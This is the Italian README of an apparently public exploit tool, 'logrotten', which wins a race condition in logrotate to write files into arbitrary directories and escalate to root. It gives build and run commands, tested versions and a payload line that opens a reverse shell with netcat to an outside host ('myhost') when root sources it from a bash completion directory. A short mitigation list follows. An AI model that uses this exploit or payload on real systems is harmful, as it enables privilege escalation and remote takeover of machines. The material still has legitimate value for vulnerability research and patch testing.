[!WARNING]
Questo repository è stato spostato su https://codeberg.org/whotwagner/logrotten. Visita la nuova posizione per gli ultimi aggiornamenti.
Vincere una condizione di gara in logrotate per elevare i privilegi

Breve descrizione
- logrotate è soggetto a una condizione di gara dopo la rinomina del file di log.
- Se logrotate viene eseguito come root, con un'opzione che crea un
file (come create, copy, compress, ecc.) e l'utente ha il controllo
del percorso del file di log, è possibile abusare di una condizione di gara per
scrivere file in QUALSIASI directory.
- Un attaccante potrebbe elevare i propri privilegi scrivendo reverse-shell in
directory come "/etc/bash_completition.d/".
Prerequisito per l'elevazione dei privilegi
- Logrotate deve essere eseguito come root
- Il percorso del log deve essere sotto il controllo dell'attaccante
- Nella configurazione di logrotate deve essere impostata un'opzione che crea file
Versioni testate
- Debian GNU/Linux 11 (bullseye)
- Debian GNU/Linux 9.5 (stretch)
- Amazon Linux 2 AMI (HVM)
- Ubuntu 18.04.1
- logrotate 3.8.6
- logrotate 3.11.0
- logrotate 3.15.0
- logrotate 3.18.0
Compilazione
- gcc -o logrotten logrotten.c
Preparare il payload
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile
Eseguire l'exploit
Se l'opzione "create" è impostata in logrotate.cfg:
./logrotten -p ./payloadfile /tmp/log/pwnme.log
Se l'opzione "compress" è impostata in logrotate.cfg:
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
Problemi noti
- È stato difficile vincere la gara all'interno di un container docker o su un volume lvm2. Questa versione di logrotten migliora l'affidabilità.
Mitigazione
- assicurarsi che il percorso del log sia di proprietà di root
- usare l'opzione "su" in logrotate.cfg
- usare selinux o apparmor
Autore
Riferimenti